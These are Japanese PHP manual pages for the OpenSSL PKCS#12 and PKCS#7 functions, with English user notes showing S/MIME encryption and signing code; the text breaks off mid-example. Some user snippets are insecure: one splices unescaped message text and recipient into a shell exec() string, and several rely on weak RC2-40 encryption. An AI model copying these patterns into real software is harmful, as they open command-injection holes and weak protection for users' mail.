preg_match_all('/(-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----)/si', $pemChain, $matches);
$args = array('extracerts' => $matches[0]);
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
ismael at privasy dot org 24-Apr-2014 09:38
in order to export a private key to pkcs12 format, the input certificate must contain both private and associated public key in PEM format ,

-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----

else this function might return the following error "openssl_pkcs12_export(): cannot get cert from parameter 1"
Anonymous 29-Nov-2013 12:24
If you want to include CA-Certificates in the PKCS12 it can be accomplished by using the $args parameter.
<?php
$args = array(
               'extracerts' => $CAcert,
               'friendly_name' => 'My signed cert by CA certificate'
              );
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
mryom 29-Mar-2011 11:01
Example:

<?php
$key = openssl_pkey_get_private(Private_Key, Password);

openssl_pkcs12_export(Certificate, $iis, $key, Password);
?>
simoncpu was here 11-May-2010 02:28
If your certificate is not password-protected, just use null or a blank string.  Otherwise, this function won't work.


PKCS#12 認証ストアをパースして配列形式にする

  • ≪ openssl_pkcs12_export
  • openssl_pkcs7_decrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • PKCS#12 認証ストアをパースして配列形式にする

openssl_pkcs12_read

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_read — PKCS#12 認証ストアをパースして配列形式にする

説明

openssl_pkcs12_read ( string $pkcs12 , array &$certificates , string $passphrase ) : bool

openssl_pkcs12_read() は、 pkcs12 で指定した PKCS#12 認証ストアをパースして certificates で指定した配列に格納します。

パラメータ

pkcs12

認証ストアの内容。ファイル名ではありません。

certificates

成功した場合に、ここに認証ストアデータが格納されます。

passphrase

PKCS#12 ファイルのロックを解除するためのパスワード。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 openssl_pkcs12_read() の例

<?php
if (!$cert_store = file_get_contents("/certs/file.p12")) {
    echo "Error: Unable to read the cert file\n";
    exit;
}

if (openssl_pkcs12_read($cert_store, $cert_info, "my_secret_pass")) {
    echo "Certificate Information\n";
    print_r($cert_info);
} else {
    echo "Error: Unable to read the cert store.\n";
    exit;
}
?>

User Contributed Notes

bromatom at directbox dot com 01-Sep-2008 12:18
To extract the contents of a PKCS12 file you can use file_get_contents as well:

<?
  $certs = array();
  $pkcs12 = file_get_contents( "pkcs12file.pem" );
  // No password
  openssl_pkcs12_read( $pkcs12, $certs, "" );
  print_r( $certs );
?>

Output is:
Array
(
  [cert] => --- BEGIN CERTIFICATE ---
  //snipsnip//
  --- END CERTIFICATE ---
  [pkey] => --- BEGIN RSA PRIVATE KEY ---
  //snipsnip//
  [extracerts] = Array
  (
  )
)


S/MIME 暗号化されたメッセージを復号する

  • ≪ openssl_pkcs12_read
  • openssl_pkcs7_encrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • S/MIME 暗号化されたメッセージを復号する

openssl_pkcs7_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_decrypt — S/MIME 暗号化されたメッセージを復号する

説明

openssl_pkcs7_decrypt ( string $input_filename , string $output_filename , OpenSSLCertificate|string $certificate , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string|null $private_key = null ) : bool

input_filename で指定したファイル中の S/MIME 暗号化されたメッセージを、 certificate と private_key で 指定した証明書とそれに関連付けられた秘密鍵を用いて復号します。

パラメータ

input_filename

output_filename

復号したメッセージは、output_filename で指定したファイルに出力されます。

certificate

private_key

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 CSR 型のリソースを受け入れていました。

例

例1 openssl_pkcs7_decrypt() の例

<?php
// $cert および $key にはあなたの個人証明書と秘密鍵が含まれており、
// あなたはS/MIMEメッセージの受信者であると仮定します。
$infilename = "encrypted.msg";  // 暗号化されたメッセージを含むファイル
$outfilename = "decrypted.msg"; // このファイルへの書き込み権限が必要

if (openssl_pkcs7_decrypt($infilename, $outfilename, $cert, $key)) {
    echo "復号しました!";
} else {
    echo "復号に失敗しました!";
}
?>

User Contributed Notes

oliver at anonsphere dot com 28-Apr-2011 09:16
If you want to decrypt a received email, keep in mind that you need the full encrypted message including the mime header.

<?php

// Get the full message
$encrypted = imap_fetchmime($stream, $msg_number, "1", FT_UID);
$encrypted .= imap_fetchbody($stream, $msg_number, "1", FT_UID);

// Write the needed temporary files
$infile = tempnam("", "enc");
file_put_contents($infile, $encrypted);
$outfile = tempnam("", "dec");

// The certification stuff
$public = file_get_contents("/path/to/your/cert.pem");
$private = array(file_get_contents("/path/to/your/cert.pem"), "password");

// Ready? Go!
if(openssl_pkcs7_decrypt($infile, $outfile, $public, $private))
{
    // Decryption successful
    echo file_get_contents($outfile);
}
else
{
    // Decryption failed
    echo "Oh oh! Decryption failed!";
}

// Remove the temp files
@unlink($infile);
@unlink($outfile);

?>


S/MIME メッセージを暗号化する

  • ≪ openssl_pkcs7_decrypt
  • openssl_pkcs7_read ≫
  • PHP Manual
  • OpenSSL 関数
  • S/MIME メッセージを暗号化する

openssl_pkcs7_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_encrypt — S/MIME メッセージを暗号化する

説明

openssl_pkcs7_encrypt ( string $input_filename , string $output_filename , OpenSSLCertificate|array|string $certificate , array|null $headers , int $flags = 0 , int $cipher_algo = OPENSSL_CIPHER_RC2_40 ) : bool

openssl_pkcs7_encrypt() は、 input_filename という名前のファイルの内容を RC2 40 ビット暗号により暗号化します。この内容は、 certificate で指定した意図する受信者によってのみ読むことが可能です。

パラメータ

input_filename

output_filename

certificate

X.509 証明書または X.509 証明書の配列。

headers

headers は、 暗号化された後にデータの前に付加されるヘッダの配列です。

headers はヘッダ名をキーとする連想配列または添字配列であり、 各要素には、各ヘッダ行が一行ずつ含まれています。

flags

flags は オプションとして使用可能であり、エンコード処理を変更するために指定します。 PKCS7 定数 を参照ください。

cipher_algo

暗号定数のうちの一つ。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。

例

例1 openssl_pkcs7_encrypt() の例

<?php
// 暗号化するメッセージを nighthawk という名前の外部の秘密の
// エージェントに送信します。送信先の証明書をファイル nighthawk.pem に
// 有しています。
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// キーを読み込む
$key = file_get_contents("nighthawk.pem");

// ファイルにメッセージを保存
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// メッセージを暗号化
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "nighthawk@example.com", // 連想配列の構文
          "From: HQ <hq@example.com>", // 添字配列の構文
          "Subject" => "Eyes only"))) {
    // メッセージを暗号化し、送信します!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

User Contributed Notes

Matthias Barkhausen 23-Apr-2020 12:34
To successfully sign and encrypt an plain text E-Mail to send to and to be able to read by Outlook and iOS Mail you need to first sign w/o headers and use the PKCS7_TEXT constant, then encrypt with headers and cipherid 3DES, then send with sendmail/ssmtp with -t option.

Reason for 3DES ist that iOS (or Apple in general) doesnt further accept the RC40 default encryption openssl-pkcs7-encrypt is using. Outlook would decrypt such encryption, but iOS Mail just said "this mail has no content" and "install a profile containing your identity...".

$headers = array("To" => ...,
         "From" => ...,
         "Subject" => ...);

openssl_pkcs7_sign("msg.txt","signed.txt", $mMyCertFileToIncludeForRecipient,array($mMyPrivKeyFileAsPEM, "passphrase"),array(),PKCS7_TEXT);

openssl_pkcs7_encrypt("signed.txt","enc.txt",$pubkeyContents,$headers,0,OPENSSL_CIPHER_3DES);

shell_exec("ssmtp -t < enc.txt") #sendmail same syntax
Anonymous 28-Mar-2016 09:07
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]
Anonymous 13-Mar-2012 02:37
To build on what people have already done, below is a function that takes a from address, an array of e-mails/public keys, a subject, and a message and sends out an encrypted message using the appropriate public key.

Since we're sending an encrypted message, the assumption is that what we're sending is actually critical. As a result the files used for sending the message are immediately shredded.

$recipients = Array("user@example.com"=>file_get_contents("cert.pem"));
$body = 'secret text';
   sendSignedMail("me@examplel.com", $recipients, "Test Message", $body);

  //Recepients is an array of e-mail address=>Key
  function sendSignedMail($from, $recepients, $subject, $body){
    foreach($recepients AS $email=>$key){
      $tfn_in = tempnam("/tmp", "b");
      $tfn_out = tempnam("/tmp", "e");

      $handle = fopen($tfn_in, "w");
      fwrite($handle, $body);
      fclose($handle);

      openssl_pkcs7_encrypt($tfn_in, $tfn_out, $key,
          array("To" => $email,
                "From" => $from,
                "Subject" => $subject), 0);
      $data = file_get_contents($tfn_out);

      //Shred the files since this is sensitive data.
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_in", 'r');
      pclose($handle);
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_out", 'r');
      pclose($handle);

      $parts = explode("\n\n", $data, 2);//Fixes headers in mail function

      mail($email, $subject, $parts[1], $parts[0]);

    }

  }
Ryan Schaffner 01-Feb-2012 08:16
After tinkering around for about an hour, I found this that might help someone.  When you export your certificate, make sure it is a base-64 certificate, as the DER-encoded cannot be read by these functions.  Windows want's to default to DER.  IT MUST BE Base-64 cert for these to work.
1matqo1 at azet dot sk 04-Mar-2010 02:30
For everyone who spent lots of time trying to encrypt multipart/alternative emailwith no success:

1.) put complete email (header together with body) into file to encrypt as in example from koen:
<?php
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);
?>

2.) headers array sent to openssl_pkcs7_encrypt can`t contain some of headers, it conflicts/doubles and some clients have problems with it - i.e. Thunderbird don`t show you email body. For me worked headers: "Subject", "To", "From", "Reply-To", "Date","Return-Receipt","Message-ID","CC", "X-Priority", "X-Mailer"

one more thing - if your public key for encryption is not working, check if you are sending certificate with key, not only pure key(must be certificate)

Good luck to everyone, its a little bit hard because of small amount of documentation which is sometimes confusing...
koen dot thomeer at pubmed dot be 16-Jul-2008 06:15
In the previous example, the decrypted message couldn't be read by the 'popular' mail clients. Those mail clients needed also headers in the encrypted part.

I also noticed that there were some double headers in the previous example ('To:' and 'Subject:' were not overriden by the Headers parameter in mail()). This is also corrected by unsetting 'To:' and 'Subject:' in $headers_msg.

body.txt is the file with the mail body.
publickey.cer is the file with the public certificate.

<?php
// Setup mail headers.
$headers = array("From" => "from@mail.com", "To" => "to@mail.com", "Subject" => "Encrypted mail readable with most clients", "X-Mailer" => "PHP/".phpversion());

// Get the public key certificate.
$pubkey = file_get_contents("publickey.cer");

// Header for encrypted part
$eol = "\r\n";
$enc_header .= "From: ".$headers['From'].$eol;
$enc_header .= "To: ".$headers['To'].$eol;
$enc_header .= "Subject: ".$headers['Subject'].$eol;
$enc_header .= "Content-Type: text/plain; format=flowed; charset=\"iso-8859-1\"; reply-type=original".$eol;
$enc_header .= "Content-Transfer-Encoding: 7bit".$eol;
$enc_header .= "\n";

// Prepend header for encrypted message
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);

// Remove some double headers for mail()
$headers_msg = $headers;
unset($headers_msg['To'], $headers_msg['Subject']);

// Encrypt message
openssl_pkcs7_encrypt("msg.txt", "enc.txt",$pubkey,$headers_msg,0,1);

// Seperate headers and body for mail()
$data = file_get_contents("enc.txt");
$parts = explode("\n\n", $data, 2);

// send mail
mail($headers['To'], $headers['Subject'], $parts[1], $parts[0]);
?>
bob at bobscheffler dot com 04-Aug-2005 05:58
It's not worth it.  Honestly, it would sound like a great idea, but it is such a pain in the arse.  I have done so using asp, but have not yet found a way (or really tried for that matter) to do this using PGP.  Using asp took me a full day to do (had to judo-kung foo chop a little for it to work correctly).  Peace--
ungdi at hotmail dot com 16-Mar-2005 03:19
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

*** What do you do first? Sign then Encrypt? Or Encrypt then Sign?

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

*** Example of doing both signing AND encrypting.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

*** Example of signing and encrypting executed from a routine function for code reusability through a program.

THIS IS WRONG!:
<?
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
ungdi AT hotmail DOT com 12-Aug-2004 11:07
As of PHP 5.0.0, you have the ability to choose between 64 bit RC2 encryption OR 128 bit RC2 encryption.

The new function description should now be:
bool openssl_pkcs7_encrypt ( string infile, string outfile, mixed recipcerts, array headers [, int flags] [,int cipher])

Where the int value of cipher is 0 or 1. 0 = 64 bit and 1 = 128 bit.
richardaburton at hotmail dot com 15-Oct-2003 05:38
Using sendmail isn't very portable, and seems daft since PHP has the mail function which will do the job. Problem is how do you use the mail function to send this email, since it's already complete with headers?

If you pull in the contents of the file produced by openssl_pkcs7_encrypt and pass this as the message data to the mail command, you end up with an email with two sets of headers (one set from the encrypt function, another added by the mail command). The result is that the second set of headers (which tell the mail client the email is encrypted) get ignored and the (base64 encoded) encrypted mail is shown as-is, rather than being decrypted.

The solution is quite simple, but it took me a little while to think of it, so I'm sharing it here. Once you load the contents of the file, split the headers off the body. Then pass the headers as the additional_headers parameter to the mail function, and just the body of the email as the message parameter of the mail function.

You will need to specify the to & subject parameters, but these will be overriden in the final email (as delievered to the recipiant) by the ones from the real encrypted email.

<?php

$pubkey = file_get_contents("cert.pem");

openssl_pkcs7_encrypt("msg.txt", "enc.txt", $pubkey,
    array("To" => "nighthawk@example.com",
          "From" => "HQ <hq@example.com>",
          "Subject" => "Eyes only"), 0)

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);

?>

Richard.
richardaburton at hotmail dot com 15-Oct-2003 05:31
If you don't like the idea of only using RC2/40bit you can always recompile the php_openssl extension. Simply search through the extensions openssl.c source file for the EVP_rc2_40_cbc() call, which selects this cipher. Replace the call to select another better cipher such as EVP_rc2_cbc() (RC2/128bit) or EVP_des_ede3_cbc() (triple-DES).

I patched the source to allow the selection of cipher as an extra parameter, but got the latest source from CVS to submit a patch and it appears the work has already been done, so looks like we will see this feature in pretty soon.

Richard.
20-May-2003 08:16
It is a bit scary to use only RC2/40bit considering that has been already so exposed as vulnerable to brute-force cracking (see for example www.distributed.net)

Here is an alternate method which allows stronger encryption (128bit.) This works on Solaris 8 but could be adapted for e.g. Linux by removing the "-rand" parameter and its randomfile name.

-------------snippet-------------------

$execstring=  "echo \"" . $yourbodytext . "\" | /usr/local/ssl/bin/openssl smime -encrypt -rc2-128 -rand /usr/local/apache/yoursecuredir/randomfile -text  -to " .  $recipient . " -from someuser@example.com -subject \"" . $subject . "\"  /usr/local/apache/yoursecuredir/usercerts/someuser.pem | /usr/lib/sendmail -t";

exec($execstring,$returndata,$resultcode);

-------------snippet-------------------

It requires the .pem format for the user certificate.  Assuming you already got a certificate from a commercial CA such as www.thawte.com then it is fairly simple to export it from your browser WITHOUT --REPEAT-- WITHOUT its private key and copy it to the PHP/web server. The export process is browser-specific but assuming MS Internet Explorer you require the menu selection tools -> internet options -> content -> certificates -> (highlight your cert in the list) -> export wizard.

The exported file will probably be in DER-encoded binary
with a name like "whatever.CER" and you need to convert it to Privacy Enhanced message (PEM) format. Typically you would now transfer the file to the *nix machine and the command for doing this conversion is, for example:

/usr/local/ssl/bin/openssl x509 -inform DER -outform PEM -in someuser.cer -out someuser.pem

When adapting this code it is of course as always vital to ensure that the values ($recipient etc.) being passed into the system call are acquired in a clean way that avoids trusting user-supplied data.
glyn at tomkins dot net 03-May-2003 01:50
I have been struggling to get openssl_pkcs7_encrypt() to work just as I need it to do but through my perseverence I have prevailed.  The issues I came across were due to my very incomplete understanding of S/MIME, MIME and email headers.

First, both the example in the manual and the correction offered by msisolak above are also slightly incorrect.  Let me explain in lay terms how the problem arises ...

email messages are constructed as follows

headers
blank line
content

For S/MIME, the message is encrypted (including headers) and further headers are wrapped around the encrypted message, like so:

S/MIME headers
blank line
encrypted MIME headers
encrypted blank line
encrypted content

If you have no headers in what you are encrypting then anything before the 1st blank line is regarded as headers and doesn't appear in the content of your message.

openssl_pkcs7_encrypt() creates the entire encrypted portion so if you do not include any headers in your infile then you will find that some of your message may be treated as headers unless you make the first line of your file a blank line.

There is also an error in the way the "From" S/MIME header is coded on the call to openssl_pkcs7_encrypt().

So the example, to work 100% correctly needs to read as follows:

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
//
//Note the first line must be blank as i am providing no headers inside the secure portion of the mail.
$data = <<<EOD

Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < enc.txt");
}

Now,  I wanted to make a couple of other enhancements. My email contained html content and must be formatted when displayed in the email client and I also wanted to use temporary file names to allow multiple users to use the script at the same time. Finally, I wanted to remove these temporary files afterwards.

Here is how the example ends up with these additional enhancements:

<?

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file my.pem
//
//Note the blank line  following the Content-type header
//
$data = <<<EOD
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1

<html>
<b>Nighthawk</b>,
<h1>Top secret, for your eyes only!</h1>
<p>The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!</p>
<p>HQ</p>
</html>
EOD;

// load key
$key = implode("", file("my.pem"));

// generate a unique temporary file name.  Use .txt for the clear text version and .enc for the encrypted version.
$clearfile = tempnam("temp","email") . ".txt";
$encfile = $clearfile . ".enc";
$clearfile .= ".txt";

$fp = fopen($clearfile, "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt($clearfile,$encfile, $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < $encfile");

};
// now erase the temp files
unlink($clearfile);
unlink($encfile);

?>
msisolak at yahoo dot com 28-May-2002 12:14
For those trying to use this function from Windows with a key in Outlook or Outlook Express it can be tricky to figure out how to get the key exported in the format that OpenSSL is looking for.  Since all (at least all Microsoft) products share a common key store, it's easier to export the key from IE than Outlook.

In IE select Tools -> Internet Options, then the "Content" tab, and click the Certificates button.  Select your certificate from the list and click the Export button.  To encrypt email you only want your public key exported in the "Base-64 encoded X.509 (.CER)" format.  The file this procedure creates can be directly used as a key file to S/MIME encrypt with openssl-pkcs7-encrypt.
msisolak at yahoo dot com 25-Apr-2002 03:24
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]


PKCS7 ファイルを PEM証明書 の配列にエクスポートする

  • ≪ openssl_pkcs7_encrypt
  • openssl_pkcs7_sign ≫
  • PHP Manual
  • OpenSSL 関数
  • PKCS7 ファイルを PEM証明書 の配列にエクスポートする

openssl_pkcs7_read

(PHP 7 >= 7.2.0, PHP 8)

openssl_pkcs7_read — PKCS7 ファイルを PEM証明書 の配列にエクスポートする

説明

openssl_pkcs7_read ( string $input_filename , array &$certificates ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

input_filename

certificates

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


S/MIME メッセージに署名する

  • ≪ openssl_pkcs7_read
  • openssl_pkcs7_verify ≫
  • PHP Manual
  • OpenSSL 関数
  • S/MIME メッセージに署名する

openssl_pkcs7_sign

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_sign — S/MIME メッセージに署名する

説明

openssl_pkcs7_sign ( string $input_filename , string $output_filename , OpenSSLCertificate|string $certificate , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , array|null $headers , int $flags = PKCS7_DETACHED , string|null $untrusted_certificates_filename = null ) : bool

openssl_pkcs7_sign() は input_filename という名前のファイルの内容を取得し、 パラメータ certificate と private_keyで 指定した証明書とそれに対応する秘密鍵を用いて署名します。

パラメータ

input_filename

デジタル署名したい入力ファイル

output_filename

デジタル署名が書き出されるファイル

certificate

input_filename に電子署名するために使う X.509 証明書。 有効な値のリストは、 キー/証明書パラメータ を参照してください。

private_key

private_key は、certificate に対応する秘密鍵です。 有効な値のリストは、 公開鍵/秘密鍵 のパラメータ を参照してください。

headers

headers は、ヘッダの配列です。このヘッダは、 署名された後でデータの前に付加されます (このパラメータの形式の詳細については openssl_pkcs7_encrypt() を参照ください)。

flags

flags を出力を変更するために使用することが可能です。 PKCS7 定数 を参照ください。

untrusted_certificates_filename

untrusted_certificates_filename には、 署名に含めるための他の一連の証明書を記述したファイル名を指定します。 これは、例えば送信者が使用した証明書を受信者が検証しやすくするために使用することが可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 CSR 型のリソースを受け入れていました。

例

例1 openssl_pkcs7_sign() の例

<?php
// 受信者が送信者を確認できるように署名したいメッセージ
$data = <<<EOD

You have my authorization to spend $10,000 on dinner expenses.

The CEO
EOD;
// ファイルにメッセージを保存
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);
// 暗号化
if (openssl_pkcs7_sign("msg.txt", "signed.txt", "file://mycert.pem",
    array("file://mycert.pem", "mypassphrase"),
    array("To" => "joes@example.com", // 連想配列の構文
          "From: HQ <ceo@example.com>", // 添字配列の構文
          "Subject" => "Eyes only")
    )) {
    // メッセージは署名されました。送信しましょう!
    exec(ini_get("sendmail_path") . " < signed.txt");
}
?>

User Contributed Notes

spam at isag dot melbourne 08-Oct-2019 12:23
If you want to use mail() with headers, then you'll need to alter the signed version before embedding in the body or the headers and boundaries will end up in the message.

<?php
openssl_pkcs7_sign($basedir . 'email.txt', $basedir . 'signed.txt', 'file://' . $basedir . 'cert.pem', array('file://' . $basedir . 'key.pem', $keypass), array('To' => $smime_to, 'From' => $smime_from, 'Subject' => $smime_subject));
if (preg_match('/To: [^\r\n]+(\r|\n)+(From: [^\r\n]+(\r|\n)+)Subject: [^\r\n]+(\r|\n)+MIME-Version: [^\r\n]+(\r|\n)+(Content-Type: [^\r\n]+)(\r|\n)+/', file_get_contents($basedir . 'signed.txt'), $matches))
{
    $result = mail($smime_to, $smime_subject, str_replace($matches[0], '', file_get_contents($basedir . 'signed.txt')), $mailheaders . $matches[2] . $matches[6]);
}
?>

With the signed headers removed ($matches[0]) and the headers updated with From (not part of mail()) and Content-Type ($matches[2] / $matches[6] respectively).
jcmichot at usenet-fr dot net 22-Nov-2017 07:12
Due to lack of example the following code may be useful to some.

# Demo code for openssl_pkcs7_sign() and openssl_pkcs7_encrypt() to sign and encrypt for Paypal EWP.
#
# generate and self sign certificat
# % openssl genrsa -out my-private-key.pem 2048
# % openssl req -new -key my-private-key.pem -x509 -days 3650 -out my-public-key.pem
#

function demo_paypal_encrypt( $webform_hash )
{
    $MY_PUBLIC_KEY = "file:///usr/local/etc/paypal/my-public-key.pem";
    $MY_PRIVATE_KEY = "file:///usr/local/etc/paypal/my-private-key.pem";
    $PAYPAL_PUBLIC_KEY = "file:///usr/local/etc/paypal/paypal_cert_pem.txt";

    //Assign Build Notation for PayPal Support
    $webform_hash['bn']= 'MyWebRef.PHP_EWP2';

    $data = "";
    foreach ($webform_hash as $key => $value)
        if ($value != "")
            $data .= "$key=$value\n";

    $file_msg = sprintf( "/tmp/pp-msg-%d.txt", getmypid() );
    $file_sign = sprintf( "/tmp/pp-sign-%d.mpem", getmypid() );
    $file_bsign = sprintf( "/tmp/pp-sign-%d.der", getmypid() );
    $file_enc = sprintf( "/tmp/pp-enc-%d.txt", getmypid() );

    if ( file_exists( $file_msg ) ) unlink( $file_msg );
    if ( file_exists( $file_sign ) ) unlink( $file_sign );
    if ( file_exists( $file_bsign ) ) unlink( $file_bsign );
    if ( file_exists( $file_enc ) ) unlink( $file_enc );

    $fp = fopen( $file_msg, "w" );
    if ( $fp ) {
        fwrite($fp, $data );
        fclose($fp);
        }

    // sign part of html form message
    openssl_pkcs7_sign(
        $file_msg,
        $file_sign,
        $MY_PUBLIC_KEY,
        array( $MY_PRIVATE_KEY, "" ), /// private key, password
        array(),
